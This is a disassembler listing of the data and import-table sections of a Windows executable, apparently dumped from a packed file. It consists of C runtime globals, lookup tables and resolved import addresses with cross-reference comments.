dword_4F360C dd 0 ; DATA XREF: ___init_monetary+4r
dword_4F3610 dd 0 ; DATA XREF: ___init_numeric+18r
dword_4F3614 dd 0 ; DATA XREF: ___init_time+4r
dword_4F3618 dd 0 ; DATA XREF: __mbstowcs_lk+B9r
; __mbstowcs_lk+16Cr ...
dword_4F361C dd 0 ; DATA XREF: __setlocale_set_cat+11Fw
dword_4F3620 dd 0 ; DATA XREF: __expandlocale+C7o
; __expandlocale+140o
word_4F3624 dw 0 ; DATA XREF: __expandlocale+E8r
align 4
dword_4F3628 dd 0 ; DATA XREF: __expandlocale+EFw
; __expandlocale+159o
dword_4F362C dd 1 ; DATA XREF: ___crtLCMapStringA+26r
; ___crtLCMapStringA+4Bw ...
aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv+19o
; __setargv+26o ...
align 4
dd 3Ah dup(0)
dword_4F3734 dd 1 ; DATA XREF: ___crtGetEnvironmentStringsA+14r
; ___crtGetEnvironmentStringsA+2Cw ...
dword_4F3738 dd 0 ; DATA XREF: __FF_MSGBANNER+2Br
; __FF_MSGBANNER+34r
dword_4F373C dd 0 ; DATA XREF: .text:loc_430826r
; .text:00430832w ...
dword_4F3740 dd 0 ; DATA XREF: .text:loc_43083Ar
; .text:00430845w ...
dword_4F3744 dd 0 ; DATA XREF: .text:loc_43084Dr
; .text:00430859w ...
dword_4F3748 dd 0 ; DATA XREF: .text:loc_430860r
; .text:0043086Cw ...
dword_4F374C dd 0 ; DATA XREF: .text:loc_4307BAr
; .text:004307D5w
dword_4F3750 dd 0 ; DATA XREF: ___crtMessageBoxA+Dr
; ___crtMessageBoxA+39w ...
dword_4F3754 dd 0 ; DATA XREF: ___crtMessageBoxA+5Aw
; ___crtMessageBoxA:loc_430D73r ...
dword_4F3758 dd 0 ; DATA XREF: ___crtMessageBoxA+6Ew
; ___crtMessageBoxA+8Br ...
dword_4F375C dd 1 ; DATA XREF: ___crtGetStringTypeA+26r
; ___crtGetStringTypeA+46w ...
dword_4F3760 dd 0 ; DATA XREF: __openfile+9r
; int (__stdcall *dword_4F3764)()
dword_4F3764 dd 77C26E79h ; DATA XREF: __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *):loc_43316Er
; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)+37r ...
dword_4F3768 dd 0 ; DATA XREF: __tzset_lk+17w
; __tzset_lk+6Dw ...
align 10h
dword_4F3770 dd 0 ; DATA XREF: __tzset_lk+59o
; __tzset_lk+77r
dword_4F3774 dd 10h dup(0) ; DATA XREF: __tzset_lk+103o
word_4F37B4 dw 0 ; DATA XREF: sub_4336D0+FCr
word_4F37B6 dw 0 ; DATA XREF: __tzset_lk+88r
; sub_4336D0+145r ...
word_4F37B8 dw 0 ; DATA XREF: sub_4336D0+132r
word_4F37BA dw 0 ; DATA XREF: sub_4336D0+13Br
; sub_4336D0+18Br
word_4F37BC dw 0 ; DATA XREF: sub_4336D0+126r
; sub_4336D0+181r
word_4F37BE dw 0 ; DATA XREF: sub_4336D0+11Cr
; sub_4336D0+177r
word_4F37C0 dw 0 ; DATA XREF: sub_4336D0+113r
; sub_4336D0+16Er
word_4F37C2 dw 0 ; DATA XREF: sub_4336D0+109r
; sub_4336D0+164r
dword_4F37C4 dd 0 ; DATA XREF: __tzset_lk+93r
; __tzset_lk+CEr
dword_4F37C8 dd 10h dup(0) ; DATA XREF: __tzset_lk+149o
word_4F3808 dw 0 ; DATA XREF: sub_4336D0+43r
word_4F380A dw 0 ; DATA XREF: __tzset_lk+ABr
; sub_4336D0+8Cr ...
word_4F380C dw 0 ; DATA XREF: sub_4336D0+79r
word_4F380E dw 0 ; DATA XREF: sub_4336D0+82r
; sub_4336D0+D2r
word_4F3810 dw 0 ; DATA XREF: sub_4336D0+6Dr
; sub_4336D0+C8r
word_4F3812 dw 0 ; DATA XREF: sub_4336D0+63r
; sub_4336D0+BEr
word_4F3814 dw 0 ; DATA XREF: sub_4336D0+5Ar
; sub_4336D0+B5r
word_4F3816 dw 0 ; DATA XREF: sub_4336D0+50r
; sub_4336D0+ABr
dword_4F3818 dd 0 ; DATA XREF: __tzset_lk+B6r
; __tzset_lk+C9r
; char *dword_4F381C
dword_4F381C dd 0 ; DATA XREF: __tzset_lk+18Dr
; __tzset_lk+196r ...
dword_4F3820 dd 0 ; DATA XREF: ___tzset+3r ___tzset+16r ...
dword_4F3824 dd 0 ; DATA XREF: ___init_time+75r
; ___init_time+86r ...
dword_4F3828 dd 0 ; DATA XREF: ___init_numeric+25o
; ___init_numeric+93r ...
dword_4F382C dd 0 ; DATA XREF: ___init_numeric+42o
; ___init_numeric+A3r ...
dword_4F3830 dd 0 ; DATA XREF: ___init_numeric+5Fo
; ___init_numeric+7Cr ...
dword_4F3834 dd 0 ; DATA XREF: ___init_monetary+A0r
; ___init_monetary+B1r ...
dword_4F3838 dd 0 ; DATA XREF: unknown_libname_28+2AAr
; unknown_libname_28+2B5r ...
dword_4F383C dd 0 ; DATA XREF: unknown_libname_28+2CCr
; unknown_libname_28+2D7r ...
dword_4F3840 dd 3 dup(0) ; DATA XREF: __setlocale_set_cat+94o
; __setlocale_set_cat+F3o
word_4F384C dw 0 ; DATA XREF: unknown_libname_28+36r
align 10h
dd 0
word_4F3854 dw 0 ; DATA XREF: __get_lc_lconv+Fr
align 4
db 2 dup(0)
word_4F385A dw 0 ; DATA XREF: ___init_numeric+Fr
db 2 dup(0)
word_4F385E dw 0 ; DATA XREF: __get_lc_time+Fr
word_4F3860 dw 0 ; DATA XREF: __get_lc_time+1Ar
align 4
dword_4F3864 dd 0 ; DATA XREF: ___get_qualified_locale+155r
; ___get_qualified_locale+176r ...
dword_4F3868 dd 0 ; DATA XREF: _GetLcidFromLangCountry+37w
; LangCountryEnumProc(x)+1Br ...
; size_t MaxCount
MaxCount dd 0 ; DATA XREF: _GetLcidFromLangCountry+6Ew
; LangCountryEnumProc(x)+101r ...
dword_4F3870 dd 0 ; DATA XREF: _GetLcidFromLangCountry+1Aw
; _GetLcidFromLangCountry+47r ...
; char *dword_4F3874
dword_4F3874 dd 0 ; DATA XREF: ___get_qualified_locale+45w
; ___get_qualified_locale+4Br ...
; char *dword_4F3878
dword_4F3878 dd 0 ; DATA XREF: ___get_qualified_locale+7Aw
; ___get_qualified_locale+80r ...
dword_4F387C dd 0 ; DATA XREF: ___get_qualified_locale:loc_4351B9w
; ___get_qualified_locale:loc_43521Er ...
dword_4F3880 dd 0 ; DATA XREF: ___get_qualified_locale+182r
; ___get_qualified_locale+1CBr ...
dword_4F3884 dd 0 ; DATA XREF: ___get_qualified_locale+6r
; ___get_qualified_locale+2Cw ...
dword_4F3888 dd 0 ; DATA XREF: __sopen:loc_43179Cr
byte_4F388C db 0 ; DATA XREF: sub_438C60+18Fo
; sub_438C60+1F2r ...
align 10h
dd 0
dword_4F3894 dd 0 ; DATA XREF: __free_lc_lconv+11o
; .data:off_454EFCo ...
dword_4F3898 dd 0 ; DATA XREF: ___crtGetStringTypeW+26r
; ___crtGetStringTypeW+46w ...
dword_4F389C dd 0 ; DATA XREF: ___crtGetLocaleInfoW+26r
; ___crtGetLocaleInfoW+41w ...
dword_4F38A0 dd 0 ; DATA XREF: ___crtGetLocaleInfoA+26r
; ___crtGetLocaleInfoA+41w ...
dword_4F38A4 dd 0 ; DATA XREF: ___crtCompareStringA+26r
; ___crtCompareStringA+4Bw ...
dword_4F38A8 dd 0 ; DATA XREF: ___crtLCMapStringW+26r
; ___crtLCMapStringW+4Bw ...
byte_4F38AC db 1 ; DATA XREF: sub_40E2B4r sub_40E2B4+9w
align 10h
dword_4F38B0 dd 0 ; DATA XREF: sub_437DE0+90w
; sub_437DE0+A5w ...
dword_4F38B4 dd 0 ; DATA XREF: sub_437F70+1C4w
; sub_437F70+1EDw ...
align 10h
dword_4F38C0 dd 941F58h ; DATA XREF: ___initstdio+EDr
; ___initstdio+109r ...
dd 3Fh dup(0)
dword_4F39C0 dd 20h ; DATA XREF: __close+7r __read+7r ...
dword_4F39C4 dd 0 ; DATA XREF: __strcmpi+5Ar
; __strupr+68r ...
dword_4F39C8 dd 0 ; DATA XREF: __strcmpi:loc_4211C3w
; __strcmpi:loc_4211D7w ...
dword_4F39CC dd 4E4h ; DATA XREF: __setmbcp+22r
; __setmbcp+14Aw ...
word_4F39D0 dw 0 ; DATA XREF: __setmbcp+19Aw
; __setmbcp+2F3w ...
align 4
dd 2 dup(0)
dword_4F39DC dd 0 ; DATA XREF: __setmbcp+150w
; __setmbcp+2C2w ...
byte_4F39E0 db 0 ; DATA XREF: _setSBUpLow+1CEw
; _setSBUpLow+21Aw ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4F3AE0 db 0 ; DATA XREF: __setmbcp+ABw
; __setmbcp+1F4w ...
byte_4F3AE1 db 0 ; DATA XREF: __splitpath+92r
; __setmbcp+129r ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4F3BE4 dd 0 ; DATA XREF: __setmbcp+169w
; __setmbcp+205w ...
dword_4F3BE8 dd 940000h ; DATA XREF: sub_41D910+8Dr
; sub_41D910+FBr ...
dword_4F3BEC dd 1 ; DATA XREF: sub_41D910:loc_41D941r
; sub_41D910:loc_41D9AEr ...
dword_4F3BF0 dd 0 ; DATA XREF: ___sbh_heap_init+51w
; ___sbh_alloc_new_region+9r ...
dword_4F3BF4 dd 0 ; DATA XREF: sub_424410+484r
; sub_424410+4B3r ...
dword_4F3BF8 dd 0 ; DATA XREF: ___sbh_heap_init+37w
; sub_424410+5C1w ...
align 10h
; void *Dst
Dst dd 0 ; DATA XREF: ___sbh_heap_init+3Dw
; sub_424410+477r ...
dword_4F3C04 dd 0 ; DATA XREF: ___sbh_heap_init+47w
; ___sbh_find_block+6r ...
dword_4F3C08 dd 0 ; DATA XREF: ___sbh_heap_init+16w
; ___sbh_heap_init+1Br ...
dword_4F3C0C dd 0 ; DATA XREF: __heap_alloc_base+2Fr
; sub_423880+6Dr ...
dword_4F3C10 dd 0 ; DATA XREF: .text:00422854r
; .text:0042285Fw ...
dword_4F3C14 dd 943250h ; DATA XREF: ___initstdio+48w
; ___initstdio+4Dr ...
align 10h
dword_4F3C20 dd 400h dup(0) ; DATA XREF: .data:off_451958o
; .data:00451960o
dword_4F4C20 dd 200h ; DATA XREF: ___initstdio+4r
; ___initstdio+Dw ...
dword_4F4C24 dd 142340h ; DATA XREF: start+B9w
; __wincmdln:loc_42F442r ...
dword_4F4C28 dd 1 ; DATA XREF: __setenvp+13Bw _getenv+Er
dword_4F4C2C dd 1 ; DATA XREF: ___initmbctable+3r
; ___initmbctable+16w ...
dword_4F4C30 dd 94241Ch ; DATA XREF: _doexit+45r __onexit+19r ...
dword_4F4C34 dd 942410h ; DATA XREF: _doexit+3Cr _doexit+5Ar ...
dword_4F4C38 dd 0 ; DATA XREF: .text:0041DB74r
; .text:0041DB7Fw ...
byte_4F4C3C db 1 ; DATA XREF: sub_43AB40+5r
; sub_43AB40+11r ...
_data ends
; Section 4. (virtual address 000F5000)
; Virtual size : 00000F4E ( 3918.)
; Section size in file : 00000F4E ( 3918.)
; Offset to raw data for section: 000F5000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata segment para public 'DATA' use32
assume cs:_idata
;org 4F5000h
dd 0F5270h, 2 dup(0)
dd 0F556Eh, 0F54F4h, 0F5278h, 2 dup(0)
dd 0F5584h, 0F54FCh, 0F5050h, 2 dup(0)
dd 0F5F40h, 0F52D4h, 5 dup(0)
dd 0F598Eh, 0F5F26h, 0F5F14h, 0F5F02h, 0F5EF0h, 0F5EE0h
dd 0F5ECAh, 0F5EB4h, 0F5EA2h, 0F5E92h, 0F5E82h, 0F5E64h
dd 0F5E52h, 0F5E40h, 0F5E2Ch, 0F5E1Ch, 0F5E0Eh, 0F5DFCh
dd 0F5DE2h, 0F5DCAh, 0F5DB0h, 0F5D96h, 0F5D7Ah, 0F5D6Ah
dd 0F5D5Ah, 0F5590h, 0F559Eh, 0F55ACh, 0F55BEh, 0F55D4h
dd 0F55EAh, 0F55F2h, 0F5602h, 0F5610h, 0F561Eh, 0F5634h
dd 0F5644h, 0F5650h, 0F5666h, 0F567Ch, 0F5690h, 0F56A6h
dd 0F56B6h, 0F56C6h, 0F56D8h, 0F56E8h, 0F56F4h, 0F5704h
dd 0F5716h, 0F572Ah, 0F573Ch, 0F574Ch, 0F575Ah, 0F5772h
dd 0F578Ah, 0F57B2h, 0F57CAh, 0F57D6h, 0F57E6h, 0F57F2h
dd 0F5800h, 0F5814h, 0F5826h, 0F583Ah, 0F5848h, 0F585Ah
dd 0F586Ch, 0F587Ah, 0F5886h, 0F589Eh, 0F58B8h, 0F58C8h
dd 0F58DAh, 0F58ECh, 0F5904h, 0F591Eh, 0F593Ah, 0F594Ah
dd 0F5964h, 0F5980h, 0F59A8h, 0F59B4h, 0F59C0h, 0F59D2h
dd 0F59E4h, 0F59F8h, 0F5A08h, 0F5A1Ah, 0F5A2Ah, 0F5A38h
dd 0F5A4Ah, 0F5A5Ah, 0F5A70h, 0F5A7Eh, 0F5A8Ch, 0F5AA8h
dd 0F5ABEh, 0F5AD4h, 0F5AE0h, 0F5AF6h, 0F5B06h, 0F5B1Ah
dd 0F5B30h, 0F5B40h, 0F5B50h, 0F5B60h, 0F5B6Ch, 0F5B86h
dd 0F5B96h, 0F5BAEh, 0F5BC6h, 0F5BD8h, 0F5BEAh, 0F5BF8h
dd 0F5C06h, 0F5C16h, 0F5C2Ch, 0F5C48h, 0F5C58h, 0F5C66h
dd 0F5C74h, 0F5C84h, 0F5C9Eh, 0F5CACh, 0F5CBAh, 0F5CD0h
dd 0F5CDEh, 0F5CEAh, 0F5CF4h, 0F5D04h, 0F5D12h, 0F5D26h
dd 0F5D32h, 0F5D3Ch, 0F5D48h, 0
dd 0F5558h, 0
dd 80000007h, 8000000Fh, 8000000Ch, 80000074h, 80000073h
dd 80000015h, 8000000Ah, 80000002h, 8000000Dh, 80000001h
dd 0F5576h, 8000000Bh, 80000009h, 80000004h, 80000010h
dd 80000003h, 80000017h, 80000013h, 80000012h, 80000097h
dd 80000006h, 80000034h, 0
dword_4F52D4 dd 77E78147h ; DATA XREF: sub_417A8B+BCr
; .text:0043AD6Ar
dword_4F52D8 dd 77E6BD68h ; DATA XREF: ___crtsetenv+2C5r
; .text:0043AF44r
dword_4F52DC dd 77E77F2Eh ; DATA XREF: ___crtCompareStringA+41r
; ___crtCompareStringA+3DAr ...
dword_4F52E0 dd 77E762D0h ; DATA XREF: ___crtCompareStringA+69r
; ___crtCompareStringA+D9r ...
dword_4F52E4 dd 77E78723h ; DATA XREF: ___crtGetLocaleInfoW+37r
; ___crtGetLocaleInfoW+8Br ...
dword_4F52E8 dd 77E70192h ; DATA XREF: __chsize_lk+1D8r
; .text:0043AF2Cr
dword_4F52EC dd 77E79C94h ; DATA XREF: _GetLcidFromDefault+12r
; .text:0043AF26r
dword_4F52F0 dd 77E6363Bh ; DATA XREF: _GetLcidFromLangCountry+7Ar
; _GetLcidFromLanguage+53r ...
dword_4F52F4 dd 77E75243h ; DATA XREF: ___get_qualified_locale+142r
; .text:0043AF1Ar
dword_4F52F8 dd 77E752B8h ; DATA XREF: ___get_qualified_locale+15Cr
; .text:0043AF14r
dword_4F52FC dd 77E7176Ch ; DATA XREF: _ValidateExecute(int (*)(void))+Fr
; .text:0043AF0Er
dword_4F5300 dd 77E7C9E7h ; DATA XREF: __CxxSetUnhandledExceptionFilter(void)+8r
; __CxxRestoreUnhandledExceptionFilter(void)+9r ...
dword_4F5304 dd 77E7C866h ; DATA XREF: ___crtGetStringTypeA+3Cr
; ___crtGetStringTypeA+19Er ...
dword_4F5308 dd 77E641EBh ; DATA XREF: ___crtGetStringTypeA+61r
; ___crtGetStringTypeA+AAr ...
dword_4F530C dd 77E73FF9h ; DATA XREF: unknown_libname_25+7Fr
; .text:0043AEF6r
dword_4F5310 dd 77E7FF2Eh ; DATA XREF: __set_osfhnd+58r
; __set_osfhnd+66r ...
dword_4F5314 dd 77E78406h ; DATA XREF: __ioinit+1E6r
; __ioinit+29Br ...
dword_4F5318 dd 77E7C931h ; DATA XREF: __ioinit+31Ar
; .text:0043AEE4r
dword_4F531C dd 77E77EE1h ; DATA XREF: ___crtGetEnvironmentStringsA+1Dr
; ___crtGetEnvironmentStringsA+6Dr ...
dword_4F5320 dd 77E67702h ; DATA XREF: ___crtGetEnvironmentStringsA:loc_42FB88r
; ___crtGetEnvironmentStringsA+171r ...
dword_4F5324 dd 77E7C9E1h ; DATA XREF: ___crtGetEnvironmentStringsA+108r
; ___crtGetEnvironmentStringsA+150r ...
dword_4F5328 dd 77E9C5B1h ; DATA XREF: ___crtGetEnvironmentStringsA+1E6r
; ___crtGetEnvironmentStringsA+208r ...
dword_4F532C dd 77EB9A84h ; DATA XREF: __XcptFilter+37r
; .text:0043AEC6r
dword_4F5330 dd 77E781F9h ; DATA XREF: ___crtLCMapStringA+41r
; ___crtLCMapStringA+1A5r ...
dword_4F5334 dd 77E77405h ; DATA XREF: ___crtLCMapStringA+69r
; ___crtLCMapStringA+C0r ...
dword_4F5338 dd 77E75CB5h ; DATA XREF: sub_401317+DFr
; WinMain(x,x,x,x)+7Ar ...
dword_4F533C dd 77E77963h ; DATA XREF: sub_401317+B8r
; WinMain(x,x,x,x)+2DBr ...
dword_4F5340 dd 77E61BB8h ; DATA XREF: sub_401317+A7r
; WinMain(x,x,x,x)+2C3r ...
dword_4F5344 dd 77E7A099h ; DATA XREF: sub_401317+83r
; WinMain(x,x,x,x)+DAr ...
dword_4F5348 dd 77E704FCh ; DATA XREF: sub_401317+74r
; WinMain(x,x,x,x)+C4r ...
dword_4F534C dd 77E61BE6h ; DATA XREF: sub_401317+29r
; WinMain(x,x,x,x)+1F4r ...
dword_4F5350 dd 77E7AC37h ; DATA XREF: WinMain(x,x,x,x)+3C1r
; sub_401CC7+7ACr ...
dword_4F5354 dd 77E73628h ; DATA XREF: WinMain(x,x,x,x)+33Br
; sub_401CC7+7927r ...
dword_4F5358 dd 77E706B7h ; DATA XREF: WinMain(x,x,x,x)+274r
; sub_417DE6+15r ...
dword_4F535C dd 77E80656h ; DATA XREF: WinMain(x,x,x,x)+267r
; .text:0043AC56r
dword_4F5360 dd 77F5157Dh ; DATA XREF: WinMain(x,x,x,x)+1D8r
; WinMain(x,x,x,x)+3E6r ...
dword_4F5364 dd 77E6BD13h ; DATA XREF: WinMain(x,x,x,x):loc_4015D6r
; .text:0043AC62r
dword_4F5368 dd 77E70396h ; DATA XREF: WinMain(x,x,x,x)+1B5r
; WinMain(x,x,x,x)+221r ...
dword_4F536C dd 77E74CABh ; DATA XREF: WinMain(x,x,x,x)+19Er
; sub_410134+110r ...
dword_4F5370 dd 77E79F93h ; DATA XREF: WinMain(x,x,x,x)+D3r
; sub_409DD4+2r ...
dword_4F5374 dd 77E79D5Bh ; DATA XREF: WinMain(x,x,x,x)+6Br
; WinMain(x,x,x,x)+311r ...
dword_4F5378 dd 77E7C2C4h ; DATA XREF: WinMain(x,x,x,x)+64r
; .text:0043AC80r
dword_4F537C dd 77E7751Ah ; DATA XREF: WinMain(x,x,x,x)+2Cr
; sub_401CC7+2551r ...
dword_4F5380 dd 77E75CEBh ; DATA XREF: sub_401CC7+7B9Fr
; sub_40B891+2Br ...
dword_4F5384 dd 77E6AD34h ; DATA XREF: sub_401CC7+6A2Cr
; sub_4190F6+35r ...
dword_4F5388 dd 77E71AFEh ; DATA XREF: sub_401CC7+67F6r
; .text:0043AC98r
dword_4F538C dd 77E805D8h ; DATA XREF: sub_409DD4+13Ar
; sub_409DD4:loc_40A2E2r ...
dword_4F5390 dd 77E7A5FDh ; DATA XREF: sub_409DD4+11r
; sub_417A8B+60r ...
dword_4F5394 dd 77E65F4Ch ; DATA XREF: sub_40B182+26r
; sub_41A460+34r ...
dword_4F5398 dd 77E7513Ch ; DATA XREF: sub_40B228+22r
; ___get_qualified_locale+18r ...
dword_4F539C dd 77E7C657h ; DATA XREF: sub_40B29D+21r
; sub_41927E+32r ...
dword_4F53A0 dd 77E73C49h ; DATA XREF: sub_40B7C1+4Ar
; sub_40BF01+1AFr ...
dword_4F53A4 dd 77F7E300h ; DATA XREF: sub_40C951+142r
; __unlock_file+35r ...
dword_4F53A8 dd 77F7E21Fh ; DATA XREF: sub_40C951+D7r
; __lock_file+35r ...
dword_4F53AC dd 77E7C706h ; DATA XREF: sub_40CB69+77r
; .text:0043ACCEr
dword_4F53B0 dd 77F53275h ; DATA XREF: sub_40CB69+6Br
; sub_40CB69+22Fr ...
dword_4F53B4 dd 77E79D8Ch ; DATA XREF: sub_40E2D9+94r
; sub_40E3C7+184r ...
dword_4F53B8 dd 77E737DEh ; DATA XREF: sub_40E3C7+43Dr
; .text:0043ACE0r
dword_4F53BC dd 77E78B82h ; DATA XREF: sub_40E3C7+1ACr
; sub_40E3C7+49Cr ...
dword_4F53C0 dd 77E7A837h ; DATA XREF: sub_40E3C7+AAr
; sub_410134+1CBr ...
dword_4F53C4 dd 77E616B4h ; DATA XREF: sub_40EF74+19Br
; sub_411756+115r ...
dword_4F53C8 dd 77E79CE3h ; DATA XREF: sub_40EF74+111r
; sub_4119A0+77r ...
dword_4F53CC dd 77E79C90h ; DATA XREF: sub_40EF74+FDr
; sub_40EF74+10Ar ...
dword_4F53D0 dd 77E7727Ah ; DATA XREF: sub_40EF74+74r
; sub_4118A7+23r ...
dword_4F53D4 dd 77E64106h ; DATA XREF: sub_40FFB1+A0r
; sub_41B92C+1B6r ...
dword_4F53D8 dd 77E64006h ; DATA XREF: sub_40FFB1+8Cr
; sub_41B92C+19Fr ...
dword_4F53DC dd 77E793EFh ; DATA XREF: sub_410134+1F5r
; sub_410A71+38r ...
dword_4F53E0 dd 77E78EAAh ; DATA XREF: sub_4103EB+5ECr
; sub_41793D+BAr ...
dword_4F53E4 dd 77E79424h ; DATA XREF: sub_4103EB+280r
; sub_417DE6+135r ...
dword_4F53E8 dd 77E794BFh ; DATA XREF: sub_4103EB+272r
; sub_417DE6+123r ...
dword_4F53EC dd 77E75E67h ; DATA XREF: sub_4103EB+212r
; sub_4103EB+5DBr ...
dword_4F53F0 dd 77E75D9Eh ; DATA XREF: sub_4103EB+201r
; sub_41793D+26r ...
dword_4F53F4 dd 77E78C81h ; DATA XREF: sub_410A71+6Cr
; sub_416980+259r ...
dword_4F53F8 dd 77E76968h ; DATA XREF: sub_4114CE+5Fr
; .text:004307CAr ...
dword_4F53FC dd 77E74C59h ; DATA XREF: sub_411756+C7r
; .text:0043AD46r
dword_4F5400 dd 77EC7C51h ; DATA XREF: sub_411B2B+5Er
; .text:0043AD4Cr
dword_4F5404 dd 77E70F89h ; DATA XREF: sub_412694+Er
; sub_415C3F+Dr ...
dword_4F5408 dd 77E802FCh ; DATA XREF: sub_413589+18Cr
; sub_413589+2D4r ...
dword_4F540C dd 77E6D75Bh ; DATA XREF: sub_413589+182r
; sub_4142EC+FFr ...
dword_4F5410 dd 77E80618h ; DATA XREF: sub_417A8B+170r
; sub_419471+D4r ...
dword_4F5414 dd 77F51597h ; DATA XREF: sub_417C5D+41r
; sub_417C5D+F5r ...
dword_4F5418 dd 77F516F8h ; DATA XREF: sub_417C5D+21r
; sub_417DE6+4Ar ...
dword_4F541C dd 77E77CB7h ; DATA XREF: sub_417C5D+10r
; sub_417DE6+40r ...
dword_4F5420 dd 77E7F01Ah ; DATA XREF: sub_417DE6+88r
; sub_417F8D+55r ...
dword_4F5424 dd 77E61A54h ; DATA XREF: sub_417DE6+56r
; sub_417F8D+97r ...
dword_4F5428 dd 77E7C3A5h ; DATA XREF: sub_417DE6+34r
; sub_417F8D+2Er ...
dword_4F542C dd 77E76A60h ; DATA XREF: sub_418E65+2Dr
; .text:0043AD94r
dword_4F5430 dd 77E71B14h ; DATA XREF: sub_418EEF+26r
; .text:0043AD9Ar
dword_4F5434 dd 77E7166Fh ; DATA XREF: sub_418EEF+1Dr
; .text:0043ADA0r
dword_4F5438 dd 77E75090h ; DATA XREF: sub_418F2A+6Cr
; .text:0043ADA6r
dword_4F543C dd 77E74D76h ; DATA XREF: sub_418F2A+39r
; .text:0043ADACr
dword_4F5440 dd 77E77797h ; DATA XREF: sub_418F2A+28r
; .text:0043ADB2r
dword_4F5444 dd 77E7011Ah ; DATA XREF: sub_418FAF+96r
; .text:0043ADB8r
dword_4F5448 dd 77E73CE2h ; DATA XREF: sub_418FAF+60r
; .text:0043ADBEr
dword_4F544C dd 77E668D9h ; DATA XREF: sub_4190F6+15Dr
; .text:0043ADC4r
dword_4F5450 dd 77E79924h ; DATA XREF: sub_419A25+13r
; ___crtLCMapStringA+2A5r ...
dword_4F5454 dd 77E77CCEh ; DATA XREF: sub_419AF7+Fr
; __mbstowcs_lk+BFr ...
dword_4F5458 dd 77E76A2Eh ; DATA XREF: sub_41A589+DEr
; .text:0043ADD6r
dword_4F545C dd 77E7FF65h ; DATA XREF: sub_41A9F0+5Ar
; .text:0043ADDCr
dword_4F5460 dd 77EB7624h ; DATA XREF: sub_41A9F0+3Dr
; .text:0043ADE2r
dword_4F5464 dd 77E6C29Dh ; DATA XREF: sub_41B081+1EAr
; .text:0043ADE8r
dword_4F5468 dd 77E76C1Ah ; DATA XREF: sub_41B92C+1CFr
; .text:0043ADEEr
dword_4F546C dd 77E73196h ; DATA XREF: __CrtIsValidPointer+2Ar
; ___sbh_heap_check+19r ...
dword_4F5470 dd 77E7339Ch ; DATA XREF: __CrtIsValidPointer+12r
; sub_4331E0+13r ...
dword_4F5474 dd 77E6C924h ; DATA XREF: sub_41D910+93r
; sub_41D910+102r ...
dword_4F5478 dd 77F6183Eh ; DATA XREF: sub_43AE06r
dword_4F547C dd 77E76E3Dh ; DATA XREF: _time+9Fr __tzset_lk+5Er ...
dword_4F5480 dd 77E61608h ; DATA XREF: _time+17r .text:0043AE12r
dword_4F5484 dd 77E778C5h ; DATA XREF: __strupr+76r __strupr+B6r ...
dword_4F5488 dd 77E777EFh ; DATA XREF: __strupr+62r _tolower+2Cr ...
dword_4F548C dd 77E6177Ah ; DATA XREF: start+E2r __ioinit+87r ...
dword_4F5490 dd 77E7C938h ; DATA XREF: start+B3r .text:0043AE2Ar
dword_4F5494 dd 77E7C486h ; DATA XREF: start+26r .text:0043AE30r
dword_4F5498 dd 77EB36A5h ; DATA XREF: sub_422760+3r
; .text:0043AE36r
dword_4F549C dd 77E79C3Dh ; DATA XREF: __CrtSetReportFile+3Er
; __CrtSetReportFile+58r ...
dword_4F54A0 dd 77E9BD34h ; DATA XREF: __CrtDbgReport+102r
; __CrtDbgReport+2F3r ...
dword_4F54A4 dd 77E79908h ; DATA XREF: __mtinitlocks+9r
; __mtinitlocks+16r ...
dword_4F54A8 dd 77EB8503h ; DATA XREF: __lockerr_exit+9r
; .text:0043AE4Er
dword_4F54AC dd 77F5722Fh ; DATA XREF: sub_423880+DAr
; sub_423880+1BBr ...
dword_4F54B0 dd 77E79E34h ; DATA XREF: sub_424410+4A8r
; sub_424410+545r ...
dword_4F54B4 dd 77E7980Ah ; DATA XREF: ___sbh_alloc_new_region+A3r
; ___sbh_alloc_new_group+A7r ...
dword_4F54B8 dd 77E7AC5Eh ; DATA XREF: sub_426EF0+5Fr
; .text:0043AE66r
dword_4F54BC dd 77E76E0Bh ; DATA XREF: sub_427120+57r
; sub_427120+7Cr ...
dword_4F54C0 dd 77E7C726h ; DATA XREF: sub_427120+14r
; .text:0043AE72r
dword_4F54C4 dd 77E77CC4h ; DATA XREF: __mtinit+64r __getptd+66r ...
dword_4F54C8 dd 77E79B39h ; DATA XREF: __mtinit+4Ar __getptd+50r ...
dword_4F54CC dd 77E7C5B4h ; DATA XREF: __mtinit+9r
; .text:0043AE84r
dword_4F54D0 dd 77E72B29h ; DATA XREF: __mtterm+17r
; .text:0043AE8Ar
dword_4F54D4 dd 77F51587h ; DATA XREF: __getptd+8Br
; .text:0043AE90r
dword_4F54D8 dd 77E78B61h ; DATA XREF: __getptd+15r
; __freeptd+1Cr ...
dword_4F54DC dd 77E73163h ; DATA XREF: .text:00429303r
; .text:0043AE9Cr
dword_4F54E0 dd 77E7849Fh ; DATA XREF: __setmbcp+1C7r
; _setSBUpLow+17r ...
dword_4F54E4 dd 77E7A13Fh ; DATA XREF: _getSystemCP+35r
; .text:0043AEA8r
dword_4F54E8 dd 77E6C703h ; DATA XREF: _getSystemCP+1Dr
; .text:0043AEAEr
